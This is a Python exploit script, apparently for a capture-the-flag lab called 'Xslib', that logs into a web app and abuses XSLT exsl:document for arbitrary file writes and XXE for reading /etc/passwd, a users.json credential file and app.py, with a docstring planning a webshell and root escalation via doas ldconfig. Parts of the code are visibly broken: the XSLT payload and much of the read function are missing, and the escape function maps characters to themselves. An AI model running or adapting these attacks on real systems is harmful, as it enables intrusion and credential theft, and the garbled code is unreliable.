#!/usr/bin/env python3
"""
Xslib 靶场完整自动化利用脚本
阶段1: Web → 任意文件写入 (exsl:document)
阶段2: DTD包装 → 任意文件读取 (XXE参数实体 + 通用实体)
阶段3: 凭据获取 (users.json)
阶段4: 覆盖 app.py 获取 WebShell
阶段5: doas ldconfig 配合 scanelf -o 提权至 root
"""
import sys
import re
import os
import html
import requests
import textwrap
BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/")
USERNAME = "pentester"
PASSWORD = "P@ssw0rd123!"
# ============================================================
# Phase 1: Login
# ============================================================
def login(session):
"""Ensure we're logged in."""
r = session.get(f"{BASE}/dashboard", allow_redirects=False)
if r.status_code == 200 and "Dashboard" in r.text:
return True
# Try login
r = session.post(f"{BASE}/login", data={
"username": USERNAME, "password": PASSWORD
}, allow_redirects=False)
if r.status_code == 302:
# Follow redirect
r = session.get(f"{BASE}/dashboard")
return "Dashboard" in r.text or "Document Processor" in r.text
# Need to register
print("[*] Registering new account...")
r = session.post(f"{BASE}/register", data={
"username": USERNAME, "email": f"{USERNAME}@test.com",
"password": PASSWORD, "confirm_password": PASSWORD, "terms": "on"
}, allow_redirects=False)
# Login after register
r = session.post(f"{BASE}/login", data={
"username": USERNAME, "password": PASSWORD
}, allow_redirects=False)
r = session.get(f"{BASE}/dashboard")
return "Dashboard" in r.text or "Document Processor" in r.text
# ============================================================
# Phase 2: File Write via exsl:document
# ============================================================
def _xml_escape(text):
"""Escape special XML characters for use as text content (NOT CDATA)."""
return text.replace("&", "&").replace("<", "<").replace(">", ">") \
.replace("'", "'").replace('"', """)
def write_file(session, target_path, content):
"""
Write content to target_path using exsl:document.
target_path MUST be a file:/// absolute URI.
Key: use XML-escaped entities (< > ' ") instead of CDATA,
so the XSLT text content survives XML parsing then produces literal < > ' "
in the output file.
"""
escaped = _xml_escape(content)
xsl = f"""
. The transformed XML
# is escaped once by XML serialization and again by Jinja, so decode
# repeatedly until it stabilizes.
pre_match = re.search(r']*>(.*?)
', r.text, re.DOTALL)
if pre_match:
content = pre_match.group(1)
for _ in range(3):
decoded = html.unescape(content)
if decoded == content:
break
content = decoded
msg_match = re.search(r'(.*?) ', content, re.DOTALL)
if msg_match:
return html.unescape(msg_match.group(1)).strip()
err_match = re.search(
r'class="p-4 bg-red[^"]*">\s*]*>(.*?)
',
r.text,
re.DOTALL,
)
if err_match:
last_error = html.unescape(err_match.group(1)).strip()
else:
last_error = f"{variant_name}: result extraction failed"
if index + 1 < len(dtd_variants):
print(f" [*] {variant_name} failed, retrying with CDATA wrapper")
if last_error:
print(f" [READ ERROR] {last_error}")
return None
# ============================================================
# Main
# ============================================================
def main():
session = requests.Session()
print("=" * 60)
print("[Phase 1] Login")
print("=" * 60)
if not login(session):
print("[-] Login failed!")
sys.exit(1)
print(f"[+] Logged in as {USERNAME}")
# Check health endpoint
r = session.get(f"{BASE}/health")
print(f"[+] /health: {r.text[:200]}")
print()
print("=" * 60)
print("[Phase 2] Test file write (exsl:document)")
print("=" * 60)
# Quick write test (must use absolute file:/// path)
if write_file(session, "/tmp/test_write.txt", "hello from exsl:document"):
print("[+] File write works! (/tmp/test_write.txt)")
else:
print("[-] File write failed!")
sys.exit(1)
print()
print("=" * 60)
print("[Phase 3] File read (XXE + wrapper DTD)")
print("=" * 60)
files_to_read = [
"/etc/passwd",
"/opt/web/users.json",
"/home/momo/user.txt",
"/opt/web/app.py",
]
for f in files_to_read:
print(f"\n[*] Reading: {f}")
content = read_file(session, f)
if content:
print(f"===== {f} =====")
print(content[:1000])
if len(content) > 1000:
print(f"... ({len(content)} total bytes)")
else:
print(f"[-] Failed to read {f}")
if __name__ == "__main__":
main()